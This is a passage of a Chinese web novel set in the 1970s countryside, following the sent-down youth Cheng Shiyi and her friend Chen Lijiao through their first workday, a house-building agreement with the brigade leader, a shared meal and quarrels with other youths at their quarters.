《七零，我搬空全家去下乡》 第75章 上工的知青们 孙娟要被气炸了，两个鼻孔都在喷着气，手更是攥成了拳头，狠狠的砸在身边的炕沿上。 可炕沿上别说是草垫子了，就连块布都没铺，就这么砸下去，直接砸在了黄土泥面上，疼得孙娟倒吸一口凉气。 手倒是没破，就是挺疼的。 肚子也饿，可是没吃的。 想到刚刚醒来时闻到的奶粉的香味儿，孙娟的眼珠子就忍不住朝着那两个皮箱看去。 下意识的吞了口口水，孙娟很想偷偷弄点奶粉喝喝。 那东西她只喝过一两次，还都是小小的一口，不过瘾，但却足以让她尝到滋味。 越是这样，她就越发想要去弄点喝喝。 反正她也不是全都喝完，就只是冲一碗尝尝滋味，垫垫肚子，应该没问题吧！ 这么想着，孙娟甚至连鞋都没来得及脱，就这样爬上了炕，一路朝着那两个皮箱爬去。 只是她刚爬出没两下，窗外就响起了欧和平的声音。 欧和平高声询问：“李知青，孙知青还没收拾好吗？” 李娜是倒数第二个出去的知青，欧和平一看就知道少了孙娟，所以才会直接问李娜。 被问到的李娜摇摇头，冷着脸说道：“她说她饿了，让我给她点吃的。我没有多出来的吃的，还着急去上工，怕迟到，所以就先出来了。” 和孙娟闹成了那样，今天孙娟还被大队长堵上门来发难，李娜已经有决定了，那就是绝对不会再和孙娟有任何的好关系相处。 反正只要对方不再找麻烦，自己就当对方不存在。 至于更多的，那是想都别想。 所以现在被点名询问，李娜也是半点都没想帮着孙娟遮掩，直接将刚刚发生的事说了出来。 众人听后的表情都很古怪。 他们这些下乡的知青家里并不是都是条件不好的，有那种条件好，但是不得不下乡的人。 而这样的人下乡的时候会带不少好东西，钱票也富足，平日里有假了就会买点好东西回来。 但是知青点也有那种家里面条件就不好的，一年到头别说是得到家里的补贴了，不说补贴给家里面那都算是好的。 无论是哪种家庭条件出来的人，有那种自尊心强的，不愿意占别人便宜，但也有喜欢占便宜的人。 于是，那种条件好的知青明显就成为了被占便宜的对象。 不过大家多多少少还是要些脸面的，至少不会直接要吃的，最多就是旁敲侧击的提醒。 而孙娟的这一番操作着实是让那些喜欢占便宜的人都忍不住撇嘴。 不要脸，真是太不要脸了！ 竟然直接要吃的，而且还是朝昨天刚打过架的人要吃的，这人的脸皮咋就能那么厚呢？ 屋里面，已经在炕上爬出两下的孙娟动作猛地一顿，抬起头看向窗外。 窗板并没有完全撑开，外面的人看不到里面，里面的人也看不到外面。 可孙娟此时却看着窗板，眼里的火恨不能将窗板烧毁，最后再将李娜给活活烧死。 她怎么敢的？ 这种事竟然就这么大咧咧的说了出来，这让要将她孙娟的脸皮踩到脚底下啊！ “孙知青，你收拾好没？” 欧和平也是挺尴尬的，他怎么也没想到会发生这样的事，只能是高声喊孙娟，不去接李娜的话。 孙娟气得浑身都在抖，这下也顾不上去找奶粉了，赶忙下炕，迈着沉重的步子往外面走。 一看到孙娟出来了，欧和平松了口气，招呼道：“人都齐了，赶紧去上工吧！快迟到了！” 说着就往外面走。 其他人也赶紧跟上。 老知青一个个的脸色都很难看。 他们是想着知青点怎么说也是一个团体，要真是他们先去了，万一被社员们误会他们不团结新知青，回头肯定会对他们指指点点。 结果他们想着知青点是一个团体，却不曾想这个团体里的某些人会这么拖后腿。 现在终于能一起出发了，老知青们的脚步就不自觉的加快了许多。 他们干活不行，如果上工还迟到，大队长肯定会批评。 真是越想越气，越气，脚下的步子就越快。 新知青们也不说话，默默的加快脚步跟上其他人。 今天是第一天上工，活能不能干，能干成什么样不重要，但是态度必须端正。 尤其是今天早上大队长刚刚来过，哪怕不是针对他们来的，可也是个苗头。 那就是他们新知青如果不积极，回头肯定会有麻烦。 程十一人长得小，腿自然就不长，这么一来，提速了，那就只能紧着倒腾她的两条小短腿，心里面那叫一个恨啊！ 不行，她得给自己补营养，不说长得好不好看，能不能胖点儿，至少得把身高提一提，总这么小短腿儿也不是个事儿。 只是吃什么才能长个儿呢？ 程十一一边跟着大家的脚步，一边分神琢磨该怎么给自己补身体。 终于，一行人总算是来到了大队部门口的空地上。 此时这里已经站着很多人了，看着大家的穿着都是一样的带着补丁的衣服。 三三两两的凑在一起闲聊天，发现知青们来了，大家的注意力几乎是同时都看向了走近的一众知青。 有人一眼就看到了面容姣好，皮肤白白的陈丽娇。 一个头上绑着粉色头巾的大婶用胳膊碰了碰身边的妇女，笑着说：“瞧瞧这新来的知青，长得可真水灵。果然还是城里养人啊，养得这叫一个嫩，就跟那嫩豆腐似的，一掐都能出水。” “谁说不是呢！长得好看，还白，就是有点瘦了，也不知道能不能干活。” 身边的妇女啧啧两声：“估摸着又要和以前新来的知青那样，自己赚的那点工分都养活不起自己，回头还得找大队借粮食。” 这话让身边的其他人都脸色不太好看。 大队的粮食虽说没分到他们各家手里，可那也是大家的财产。 大队里的五保户都是靠着那些粮食过活，还有就是粮食实在不够吃的人家也会去大队借粮食。 但大队储备的粮食就那么多，别人借的多了，他们自然就没办法再多借。 粮食啊，那可是活命的东西，谁也不想便宜给外人去。 第76章 为啥没给程十一和陈丽娇分小队 知青们是后来的，对于他们这些人来说，那就是外人。 虽说借出去的粮食第二年也会从工分里扣回来，但扣了工分，那些知青赚的工分就更吃不饱了，第二年还是会继续借粮食，这就是一个恶性循环。 太专业的话，社员们说不出来，但这其中的道理他们那是比谁都清楚。 如此一来，大家看向新知青的眼神就变得不善。 程十一在末世里生存过一段时间，虽说她所经历的末世里没有异能，也没有乱七八糟的变异兽丧尸之类的，可那也是末世。 天灾末世中，哪怕官方还没有放弃，可还是将人性中的恶爆发出来。 程十一上辈子的战斗力并不强，可在末世里的经历也足够让她的精神力比一般人强一些，尤其是对于那些充满恶意的眼神，哪怕再隐晦，她也能够感受得到。 所以还没等到跟前，程十一就发现了社员们的那一双双不善的眼神。 这也就是在和平里，但感觉这里处于末世，估计那些人现在都能直接冲过来将他们这些知青们撕碎。 程十一皱了皱眉。 她很不喜欢这样的眼神，哪怕知道目前还不会引发什么争斗，可……她不喜欢这样的气氛。 哪怕他们无视自己都比这样的情况强。 “十一，怎么了？” 陈丽娇一直走在程十一身边，在程十一的脚步慢了些后，她第一时间就察觉到了，忙问：“是不是走累了？” 看着程十一的侧脸，并没有发现什么吃力的表情，可那脸色也不太好。 陈丽娇很担心。 以十一妹妹这样的身体真的能受得住下乡的辛苦劳作吗？ 昨天去公社也忘了给家里写信，看来等再有机会去公社了，自己就得想办法给家里打个电话，再写封信。 如果可以，还是让家里想办法把自己和十一妹妹全都弄回城里吧！ 此时的陈丽娇已经将程十一看成了自己的亲妹妹一般疼爱，完全没想过她突然对一个认识没多长时间的陌生人这么好会让家里人有怎么样的感受。 程十一听到声音，转头看向陈丽娇，微微一笑，道：“没事，我不累，就是在想今天咱们会分到什么工作。” 对于那些让她不喜欢的眼神，程十一并不打算直接说出来。 主要是人家也就只是眼神不善而已，还都是陌生人，没证没据的，怎么说？ 陈丽娇嗯了声：“没感觉累就好。至于做什么工，咱们只要尽力做就好，不要让自己太辛苦。别怕吃不饱饭，有你娇娇姐我在，肯定让你饿不着肚子。” “还是我娇娇姐最好了！” 程十一直接挽住了陈丽娇的胳膊。 这个目前还没有发现任何血缘关系的姐姐，程十一真的是太喜欢了。 刚开始的喜欢是因为对方的颜值长在了自己的心巴上，可随着接触得越来越多，程十一就越发觉得陈丽娇这个人很好，很干净。 对别人也许太过冷淡，但是对自己，那真是掏心掏肺的好了。 唉，也不知道是不是这个时代的大都这么纯良，如果扔到上辈子的末世里，这样的人怕是会最先被人嘎掉吧！ 东想西想中，一众知青终于来到了社员们跟前。 不过哪怕是老知青也都没有和社员们打招呼的意思，反而都默契的站在了距离社员们差不多两米远的位置。 这里能够听见大门口的声音，又不会和社员们过分亲近。 程十一和陈丽娇自然是和知青们站在一起。 大队长此时从办公室里出来了，身后还跟着几个大队上的其他干部。 众人来到大门口，接着就听大队长开始分配任务。 社员们都是被编成了一个个小队，工作都是按照小队为单位进行分配。 得到任务的小队立刻离开，或是领工具，或是直接前往上工的地方。 而各个小队的队长却没有离开。 老知青们也跟着各个小队走了。 虽说知青们和社员们的关系并不亲近，但知青们却是被分配在了小队中干活。 刚开始是为了让社员带着知青们干活，教知青们怎么做，后来习惯了，也就自然而然的成为了一个小队的成员。 至于新知青则是被留了下来。 他们都是第一天上工，也和以前的知青一样，都是要被安排在其他小队中做活的。 男知青们很快就被安排在了各个小队，这会儿都站在所在小队的小队长身边。 而等到了女知青，顾草根却没有急着说话，反而是将视线在这四个新来的女知青脸上扫了一圈，最后看向了李娜：“李知青，你就先去一小队吧！” 李娜现在也知道哪个是一小队的队长了，赶紧就走了过去，很是拘束的站在对方身后。 顾草根又看向了孙娟：“孙知青，你去二小队。” 孙娟看了一眼顾草根，又低下头，朝着二小队的队长走去。 顾草根摆了摆手，对着一小队和二小队的队长说道：“你们先带人去上工吧！” “好。” 两个小队长应了一声就走。 被分到的知青赶紧跟上离开。 孙娟走出去两步后回头，她的视线落在了程十一和陈丽娇身上。 怎么没给这俩人分小队呢？ 难不成是要给这两个人分配什么轻省的活？ 这个念头一生出来，就让孙娟有种抓心挠肝的感觉，很想听一听。 这么一来，她的脚步就慢了。 本打算再回头看一眼，就听见大队长的声音传来：“孙知青，你还不赶紧跟着你那队的队长，是打算回头自己找过去吗？” 此话一出，孙娟的身体就是一僵。 明明说的是实话，可孙娟就是听出来了一种不一样的味道，好像自己现在不跟着小队长是为了找机会去公社似的！ 想到刚刚在知青点发生的事，孙娟咬了咬牙，低着头加快脚步跟上了自己所在的小队的队长。 等到这些人走远了，顾草根这才看向剩下的人：“你们也带人去上工吧！至于小程知青他们两个，回头我给她们送过去。” 剩下的人一听这话，都狐疑的看了一眼程十一和陈丽娇，但却什么都没说，也纷纷离开。 第77章 他们在村里也能赚工人的工资啦 “你俩进来吧！” 顾草根说完这句就转身往里面走。 程十一和陈丽娇对视一眼，谁也没说话，就这么沉默的跟上。 剩下的几个人都是大队的干部，也都跟着重新回了办公室。 “坐吧！” 顾草根这会儿已经坐在了自己的凳子上，抬了抬下巴，示意程十一二人坐在窗户下面的长条凳子上。 其他人也纷纷落座。 办公室里很安静，程十一感觉自己和陈丽娇就像是两只猴子被这几个人打量，甚至那个眼神都像是在看动物园里的猴子。 陈丽娇有些紧张，下意识的抓紧了衣摆。 忍不住看向身边的程十一，发现对方很淡定的样子，好像一点都不紧张，不免心里有点责怪自己太大惊小怪了。 她们俩是新下乡的知青，也没做错什么事，自己到底是在紧张心虚什么？ 此时顾草根终于再次开口了：“小程知青，陈知青，你们两个确定要自己花钱起房子，并且确定等你们离开了，房子直接归大队所有，不需要大队给你们任何的补偿？” 此话一出，陈丽娇便悄悄的松了口气。 程十一则是很淡定的点点头：“确定。” 说完程十一看向陈丽娇，示意她也表态。 原来是这个事。 陈丽娇放松下来，也点了点头。 顾草根嗯了声，看向其他人：“你们还有什么想问的，趁着这会儿人都齐全，问吧！” 随着顾草根的话音落下，钱会计最先出声：“你俩非要搬出来住吗？这样会不会不安全？” 程十一和陈丽娇对视一眼，两个人一起摇头。 俩人虽说是分开住，但房子是要盖在一起的，真要有什么事也会有个帮衬。 再说了，她俩又不是要住在山脚边儿，周围还有知青点呢！ 钱大成也点了点头，表示自己没有问题了。 其他人你看看我，我看看你，谁都没再开口。 这事是刚刚大队长和他们说过的，在听到的时候大家都觉得这俩知青肯定是脑子有坑，竟然愿意做这样的事。 可在大队长给他们分析过了其中的弯弯绕绕后，他们也就没意见了。 反正是给大队盖房子，人在就住，人走了，房子还能归大队，这简直就是天上掉馅饼的大好事，谁会反对？ 顾草根拿出了本子，直接推给了坐在自己对面的钱大成：“钱会计，你来写吧！” 钱大成也没犹豫，将本子拿到面前，拿出自己的钢笔，就开始唰唰唰的写了起来。 写好后递给顾草根，让他看了一下，确定没问题，这才转给其他人看，最后才落在程十一和陈丽娇手里。 纸上的内容并不长，主要就是写明白了程十一和陈丽娇是自愿出钱为大队盖房子，在她们下乡期间，房子的居住权在她们手里，但如果她们离开了光荣大队，那么房子就归大队所有。 内容简单明了，程十一起身走到钱大成的桌子旁边，将本子递给他：“钱会计，没问题。” “行，那我誊抄一份，然后咱们都签字按手印，最后盖上大队的戳就行了。” 钱大成嘴上说着话，手里的笔就已经开始誊抄。 程十一重新坐回陈丽娇身边，看向顾草根：“大队长，这房子啥时候能盖？能不能赶在秋收之前就盖起来？” 顾草根在听到前面的问题时就想说秋收之后盖，可不等他开口，程十一就说完了后面的话。 这让顾草根有点措手不及，皱了皱眉，不赞同道：“还有一个星期就秋收了，现在起房子估计会来不及。” “我们可以加钱，让社员们辛苦些，加班加点的赶一赶，成不？” 程十一是真不想在知青点住下去了。 这才住了两个晚上就天天都有人闹事。 况且一想到孙娟那个不洗脚的毛病，程十一就更头疼。 一个星期真的已经到了她所能忍受的极限了。 顾草根看向其他人，用眼神询问他们的意思。 大家原本也是想着秋收之后再盖房子的，可是现在程十一主动提了可以加钱，那…… 好像也不是不行。 程十一对于这个时代的工资收入并不算多了解，只能低声问陈丽娇：“娇娇姐，你说咱们给多少工钱合适？” 陈丽娇认真的想了想，这才回道：“咱们老家那边上班的普通工人，一个月的工资差不多是在三四十左右。要不咱们也按照这个工资来给工钱？” 程十一心算了下，点点头，看向顾草根：“大队长，我们也不知道咱们大队盖房子要不要供饭，但是我俩肯定是没那个条件做饭的。这样吧，每个工人一天一块五的工资。一块钱是工钱，五毛钱就算伙食费。如果七天内能起好房子，那等完工的那天，再额外给每个人一块钱的工钱奖励，行不？” 一天一块五，七天就是十块零五毛，再加上额外的一块钱，那就是十一块五了。 这样的报价别说是顾草根了，就连其他人都是瞪大了眼睛。 妈呀，一个星期就能赚十一块五，要是按照一个月算，那一个月下来可就是四十多。 大队上也有人家的亲属在城里上班，一个月的工资也就三四十吧！ 也就是说，他们大队现在竟然有人能在大队里赚到和工厂里的工人差不多的工资。 哪怕只能赚七天，可他们一年到头的下地干活看，上工赚工分，一年下来也攒不下来几个钱啊！ 所有人都一致觉得这样的活一旦发出去，估摸着村里的老少爷们们都得挤破脑袋的过来干活。 顾草根现在已经确定了程十一就是个不差钱的主儿，所以在短暂的震惊过后就冷静下来了：“行，工钱就这么定了。至于起房子的材料啥的，回头我以大队的名义去各家各户收一收，七天应该没啥问题。” 这也就是起茅草屋黄泥墙的房子，如果换成砖瓦房，这点时间肯定是不够用。 不过顾草根也压根就没想过这俩知青会起什么砖瓦房，毕竟那红砖瓦片可不是谁都能弄来的，没看他们整个光荣大队也没有几间砖瓦房么！ 第78章 还想和孙娟当邻居？ 文书很快就誊抄好了，程十一和陈丽娇分别签字按手印，而大队的这些领导则是全部都一样的签字按手印，最后由顾草根拿出了大队的公章按了下去。 两份文书，一份由大队长保管，另外一份则是被陈丽娇交给了程十一。 做好这些后，程十一看着大队长似乎还没有要让她们两个去上工的意思，便问：“大队长，还有别的事吗？” 顾草根刚将文书折叠收进带锁的抽屉，一听这话， 下意识的就要摇头，就听钱大成很是为难的说道：“小程知青，陈知青，那个什么，七天之内就要将房子盖起来，咱们今天开始就得收材料。那些材料虽说都不是啥值钱的玩意儿，可也是社员们平日里抽空准备出来的。咱们现在要收，那就多少得给点……” 这番话真的是钱大成硬着头皮说出来的。 大队的账面上虽说还有点钱，可也不能全都拿来垫付材料的钱。 万一最后这俩小丫头不要新房子了，他们也拿人家没辙。 程十一秒懂，当即伸手进裤兜，摸了摸，等将手拿出来时，手里面已经多了一个手帕包。 打开手帕，里面是整整齐齐的一沓毛票。 最下面是大黑十，上面则是各种面值的现金。 程十一直接将大黑十拿出来，一共五张。 “这五十块钱先用来收材料，如果不够的话再和我俩说。” 程十一直接将五十块钱放在了钱大成的桌子上。 他是光荣大队的会计，但凡是和钱有关系的事都要经他的手。 虽说也不是没见过五十块钱，可是看着程十一就这么轻松毫不心疼的就将五十块钱拿出来，钱大成还是有些诧异。 看这小程知青长得瘦瘦小小的，一副从小就没吃好喝好的样子，没想到掏钱倒是痛快。 “行，钱会计，你给她写个收条。” 顾草根已经相当淡定了。 想到昨天晚上这丫头送到自家的礼物，那些东西加起来怕是五十块钱都挡不住。 那么重的礼啊，看来自己以后就算再不情愿也得多少照顾照顾这个小臭丫头了。 钱大成赶紧写了收条交给程十一，程十一就叠好和手帕一起塞进裤兜里，这才再次看向顾草根：“大队长，现在还有别的啥事吗？如果没事的话，我俩就去上工了。” 今天可是第一天上工，程十一和陈丽娇虽说不指望着那点工分吃饭，但也不能第一天上工就撂挑子吧！ 多少还是要露个脸的，过场怎么也要走一下，要不然以后再麻烦大队长多照顾一二也不好开口。 顾草根却没有点头，反而站了起来：“不急这一会儿，你们新来的知青第一天上工也做不了什么，你们俩先跟着我去选块地方起房子吧！” 人家好歹出钱了，房子还不归人家所有，那就让她们去选地方。 程十一自然是没意见的。 她个人还是很想表现一下自己是个勤快的下乡知青，但如果连大队长都不在意这个，那她还在意个屁啊！ 不差钱，不缺吃的，更不是自虐狂，少干点活难道不香吗？ 这次跟着大队长一起走的人就少了很多，只有钱大成这个会计，其他人则是赶紧去上工。 他们虽说是大队里的领导，可也是要下工赚工分的，否则就指望着那点微薄的工资可吃不饱饭。 四个人一路朝着知青点的方向走，一边走，顾草根一边介绍起了现在能起房子的宅基地的位置。 知青点附近有，但面积不算很大。 另外还有几处，全都是在大队的边缘位置，毕竟大队里面就算有空地，也都是有主的地方。 程十一认真听着，但却没有立刻做出选择。 她要看看这些能选择起房子的地方大都在什么地方。 虽说她和陈丽娇的原计划是住在知青点附近，可这也不是不能改的计划。 如果有更好的选择，那自然是要选择更好的地方了。 就知青点里的那些人，除了耿二牛和祝成才这俩人的接触稍微多了点外，对于其他人，程十一的印象还停留在暂时住在一起的陌生人上。 而孙娟那种的，那更是恨不能少看一眼是一眼，多看一眼都会感觉自己长针眼。 光荣大队说大不大，说小不小，可因为能选择的地方都是在大队边缘，这就意味着要将整个大队都走上一圈。 等看完了最后一个选择后，程十一和陈丽娇的额头上都出了汗。 妈耶，这路是真的不好走，而且还要一边走一边看，甚至还要交谈一下，着实是挺辛苦的。 “行了，就这几块地方，你俩商量下看看选择哪里吧！这个也不用着急，下午给我信儿就行。” 顾草根此时倒是不觉得累，就是感觉很渴。 这一路上说了不少话，嘴都干巴了。 走了一圈下来，程十一的心里已经有了选择，但还要问问陈丽娇的意思。 “你俩今天上午就别上工了，马上也要到了下工时间，别折腾了，回去吧！” 顾草根摆摆手，叫上钱会计俩人就往大队部走。 程十一和陈丽娇目送二人离开后，这才朝着知青点走，边走边讨论选址问题。 “十一，你看上哪块了？” 陈丽娇有些苦恼：“我怎么感觉好像哪里都差不多呢？” 她是真没看出来那些荒地有什么区别，唯一的区别大概也就是面积大小了。 程十一却道：“不一样的，面积不同，而且距离水井、大队部这些地方的路线也有差别。” 一听这话，陈丽娇的眼睛唰的亮了：“十一，你是不是已经有决定了？你定在哪里我就在哪里！” 虽然早就猜到了会是这样的结果，不过当真的听到后，程十一还是挺开心的。 “我看上了西面的那块地方。” 说着，程十一抬手指向了西面：“就是距离最近的人家差不多有十几米远的那块。” “那里？” 陈丽娇回忆了下，不由皱眉：“我记得大队长说过那里挺偏的，如果真的有什么事，咱们怕是喊人都来不及。” 程十一嗯了声，突然嘿嘿一笑：“对，所以我想着看看能不能多拉两个邻居住。” “邻居？” 陈丽娇的眼睛嗖的瞪圆：“你不会是还想和孙娟当邻居吧？” 第79章 想发展一个小厨娘 “想啥呢你！” 程十一没好气的白了陈丽娇一眼：“我是有钱烧得慌，放着知青点不和孙娟住一起，自己起了房子还要和她做邻居？” 陈丽娇也觉得自己问的问题很傻，当即不好意思的笑了笑。 程十一又问：“还是说你不打算和我做邻居了，打算住知青点，然后将新盖的房子给孙娟住？” “我才不要！” 陈丽娇差点没喊出来：“十一，你可不能不管我啊！反正你住哪里我就住哪里，我就住你隔壁，绝对不能换成别人！” “那你还问！” 程十一哼了哼，缓了语气，低声道：“我是想拉耿二牛和祝成才入伙。” 虽说和祝成才的接触也不过就是那一顿早饭，但程十一直觉这人还行，至少比其他知青要强一些。 一起吃早饭，对方也没有白吃自己的东西，虽说拿出来的东西也就只是咸菜而已，可也拿出来了，而且大家吃了也没有任何心疼的表情。 至于耿二牛，那就更是印象好了。 傻大个儿看着憨厚，却不是真的傻，也有眼力见，干活的时候一点都不会舍不得自己的力气。 程十一还记得出火车站的时候，人那么多，如果不是耿二牛在前面挡着，她和陈丽娇肯定会被人群冲散，保不齐还得被挤得不轻。 单独住在这么偏的地方，程十一本人是不怕的，但陈丽娇不行。 尤其是俩人是单独分开住，哪怕是住在隔壁，可如果真的发生了什么事，自己怕是也不能做得特别周全。 但如果带上两个男知青，那就不一样了。 陈丽娇听了后却皱了眉：“他们俩能愿意搬出来住吗？” 男知青的房子要比女知青住的房子大一些，听说还能住得下，并没有特别拥挤的情况。 程十一耸耸肩：“谁知道呢！问问呗！他们如果愿意，那最好，反正那块空地的面积也不小。如果不愿意，那就咱俩住。你要是害怕，咱们俩就选别的地方。” 有这个想法，但也不是说一定就要按照想法去做，程十一表示自己其实还是挺随和的。 陈丽娇认真的想了想，这才点点头：“行，那等会儿他们回来了，咱俩就问问去。” 俩人回到了知青点，这会儿知青点没有别人，灶台也是空着的。 程十一直接拿出了自己的口粮，也把陈丽娇的口粮要来了一份，准备中午做一顿热乎的饭菜吃。 总吃剩饭剩菜也不是个事儿。 “娇娇姐，你会做饭吗？” 程十一蹲在灶台前面，想着上辈子小时候的记忆，往里面塞了些细小的木柴，又撕扯了一些报纸下来，放在木柴下面引燃。 这也就是随口一问。 按照陈丽娇的家庭条件，程十一是真不觉得陈丽娇会做饭。 但陈丽娇却应道：“会，之前我爸妈和我哥他们上班没有时间做饭，我放学了就做饭，这样等他们回来了就能直接吃现成的。” 程十一有些惊讶，歪头问：“那你厨艺咋样？” 陈丽娇有点不好意思：“还，还行吧！反正我爸妈他们说我做得还不错，但是我不知道你能不能吃得惯。” “那今天就你来做？” 程十一提议。 她也会做饭，会做的样式还挺多，但她也是真的没有什么时间去做饭。 等到了末世，终于不用上班了，可也没有了那么多的食材让她发挥。 所以她已经很长时间都没有真正的好好做饭了。 原主倒是也会，可原主会的就是一些水煮菜，蒸窝窝头之类的，更好的饭菜可轮不到她动手，而王家人也不会教她，生怕她在做饭的时候会偷吃。 陈丽娇答应得痛快。 程十一就负责看着火，陈丽娇则是动作麻利的开始给锅里添水。 新知青的口粮都是一些粗粮，其中地瓜的数量最多。 看着颜色不算好看的糙米，程十一有点倒胃口，便道：“我那有大米，咱们蒸米，还是煮点大米粥喝吧！” 这种农村的大锅实在是太大了，程十一自问无法掌握好精准的火候，怕一锅米饭蒸毁了。 陈丽娇也是这样想的，所以当即点头：“行，那我处理地瓜，你去拿大米。” 陈丽娇没带大米下乡，因为太沉了。 不过家里人给她邮寄了一些大米之类的东西，只是还没到，所以现在只能吃十一的大米，回头等自己的东西到了，到时候再给十一吃，这样也不算是占她的便宜。 程十一抓了两把大米出来，再配上地瓜块，一锅地瓜大米粥足够她们俩吃的了。 既然是煮粥，也就不用大铁锅了，陈丽娇用了她们房间那屋灶上的瓦罐。 削了三个土豆，切成了土豆片。 本来是想做青椒炒土豆片的，可她们俩现在没有新鲜的青椒，好在程十一拿出了干辣椒。 “这个干辣椒晒得可真好，还干净。” 陈丽娇看着程十一递给自己的一把干辣椒，差不多能有五六个的样子，不由得夸赞。 程十一嗯了声，道：“我也是看着品质挺不错的才会带一些过来。你看着放吧，能吃辣就多放点，不能吃辣就少放点。回头咱们去大队里找社员换点青菜回来，反正我是不想碰知青点的菜地。” “嗯，我也是这么想的！” 陈丽娇立刻点头赞同。 俩人在很多事情上，分析事情都很同步，这就让两个人越发感觉特别喜欢和对方相处，那感觉就像是已经认识了很多年很多年的好姐妹一般。 干辣椒炒土豆片，再配上一碗木耳粉丝汤。 干木耳也是程十一提供的，不过为了防止让陈丽娇起疑，所以程十一在拿出木耳的时候还特意给抓碎了。 热水泡发木耳，木耳很快就能泡起来。 同样的，热水泡粉丝也能很快泡软。 之后下锅翻炒一下木耳，加水，等快开锅了再下粉丝，最后洒上一些干辣椒碎，加点盐，一锅汤就这样完成了。 要说味道有多好，那肯定不至于，但和吃剩菜相比，这样的新鲜热乎的饭菜还是很让两个人开心。 还有一点剩菜，程十一闻了闻，确定就没有变坏，便一股脑的倒进锅里，直接来了个乱炖。 第80章 十一舌战欧点长 饭菜做好，程十一用饭盒装好送到了外面的桌子上摆着，而陈丽娇则是动作麻利的将厨房收拾干净。 这下程十一算是彻底相信陈丽娇是经常下厨房的人了。 真是没想到，看起来如同高岭之花的一个人竟然还这么接地气。 刚刚看着对方那熟练翻炒的动作，程十一开始期待起这顿午饭了。 如果好吃，那么以后自己可就有专属厨娘了呢！ 越想，程十一心里越是美滋滋。 粥煮得慢一些，菜倒是先出锅了，好在这会儿外面的温度还不算低，又盖上了盖子，倒也不担心会很快冷掉。 等到粥终于煮好了，分装在两个饭盒里，程十一负责端出去，陈丽娇就将瓦罐刷洗干净，还往里面加了水，放在灶上依旧烧着。 俩人都不喜欢给别人占便宜，但也没有占别人便宜的习惯，所以烧一瓦罐白开水，算是借用老知青铁锅的费用。 至于柴禾和清水，俩人也都商量好了，回头去担水捡柴还回去。 粥一上桌，俩人便开始吃午饭。 就在俩人的饭吃到大半时，下工的声音终于响起。 只是上工的地方距离知青点还有些远，所以等到知青们全都回来时，陈丽娇和程十一已经在刷洗饭盒了。 乱炖份量不算多，已经被俩人全都吃干净。 米粥倒是煮多了些，差不多多出了一个饭盒的量。 土豆片吃完了，不过汤也剩了不少。 程十一提议：“米粥和汤留给耿二牛喝祝成才吧！正要趁机问问他俩要不要也搬出去。” 陈丽娇没意见。 汤这东西就算剩了也没办法再吃一顿，主要是不够吃。 至于米粥，等凉了都会凝在一起，用热水泡一泡倒是能吃，不过既然十一妹妹这么说了，那她也没意见。 “你们俩为啥不去上工？” 最先进来的人是刘英华，一进院子，就看到蹲在墙根刷饭盒的两个人，直接高声质问。 院子的墙根处开了个洞，这样下雨的时候院子里的积水就会从这个洞流出去。 平日里众人倒个洗菜水、洗脸水、洗脚水之类的也是倒在这里。 旁边甚至还有一块青石板，洗菜什么的都是在这里处理，很是方便，所以程十一和陈丽娇就蹲在这里刷饭盒。 听到刘英华的质问，程十一转头看向她，神色淡淡：“不上工就没有工分，我俩不要工分，又不是扣你的工分，你这么激动做什么？” “你！” 刘英华没想到这俩人不上工不说，竟然还半点不心虚，真的是气得她想骂人。 不过不等她继续说什么，身后就传来了欧和平的声音。 上了一上午的工，欧和平也挺累的，看着刘英华堵在门口不往里走了，他的心情更差，说话的语气就有些严厉：“刘知青，快做饭吧！大家忙了一上午都饿了，下午还要继续上工，不要耽误时间。” “点长，不是我不做饭，而是她们两个竟然逃避劳动，不下工！” 刘英华转过身，手指着程十一和陈丽娇的方向，愤怒的朝着欧和平告状。 欧和平这会儿进院子了，看着正在给饭盒甩水的程十一，也皱了眉：“程知青，陈知青，你们两个为什么不上工？你们这样不积极参与劳动，会让社员们认为知青们都很懒惰，这样很不好。” “你没事吧？” 程十一停下甩水的动作：“我刚刚的话你是没听见还是怎么着？再说了，我俩不上工，那也只能说明是我俩的问题，我俩又没拉着你们所有人都不上工，怎么就能让社员们认为知青都很懒惰？” “还是说在我们来之前，你们就已经很消极上工了，所以才会让社员们认定了知青们懒惰，以至于让我俩这一上午不上工而已，就会认定全部知青都懒？” 这一番话让程十一说得跟绕口令似的，偏偏她吐字清晰，哪怕是语速快也还是能让人听个清楚。 欧和平的脸瞬间黑了：“你别胡说八道！我们老知青从来都没有消极上工！” “既然没有，那你在担心个毛？” 程十一挑眉：“再说了，我俩既然不上工，那自然是有不上工的理由。你们要是觉得哪里不对劲，那就去找大队长告状啊！只要大队长说我们懒，那我们认罚！” 说完，程十一招呼了下陈丽娇，两个人就这样拿着好几个空饭盒往屋里走。 欧和平被气得不轻，但很快又冷静下来。 不对劲！ 这个程知青的态度太强硬了，也太有底气了，甚至还主动提出来要找大队长，这就说明大队长是知道这俩人没有去上工，并且还同意了这件事。 如果是这样，那自己就不能继续抓着这件事不放了，万一被大队长认为自己这个点长当得不称职，那自己怎么办？ 别看这只是一个知青点的点长，可那也是有好处拿的。 要说工资，那算不上，可每年年底算工分的时候，点长都会多给一些工分，算是这一年来为知青点服务的辛苦费。 但知青点的点长也不是定了自己就一直都会是自己。 每年知青点都会推选新的点长，而大队领导投出的票也很重要。 所以，自己绝对不能在大队长那里留下不好的印象。 欧和平很快就想明白了这些，当即对还在气得跺脚的刘英华说道：“刘知青，快做饭吧！她们不上工那也是她们的事，和咱们没多大关系。” 前后都没一分钟时间，欧和平就很自然的忘记了之前自己的话，就好像从来都没说过似的。 刘英华更气了，可是随着进来的知青越来越多，大家都在催着做饭的事，刘英华只能是气得狠狠的跺了跺脚，又瞪了一眼程十一房间，这才不情不愿的进屋准备做饭。 谁知刚一进屋，看到被动了的柴垛，刘英华再次炸了。 “谁？谁偷了我们的柴？” 刘英华这次的嗓门更大，穿透力更强。 原本都要到房门口的欧和平不得不停下脚步，转头看向女知青的屋门。 真是烦死了，怎么又出事了啊？ 第81章 飞出去的刘知青 欧和平还没等走到女知青的房门口，就看到刘英华飞了出来。 那是真的飞，飞出门口后就落了地，在地上滚了两圈才停下，整个人就跟个破布娃娃似的倒在地上。 “这是咋回事？” 欧和平被吓了一个哆嗦，赶忙朝着刘英华跑去。 其他人也都看到了这一幕，全都傻愣愣的站在原地，怎么也想不出来刘英华是怎么做到从屋里飞出来的。 欧和平跑到了刘英华身边，刚要伸手将人扶起来，其他人便看到了女知青的房门口走出来一个人。 瘦瘦小小的身影。 即便不看脸，就只是看那个身影，大家就知道那是谁了。 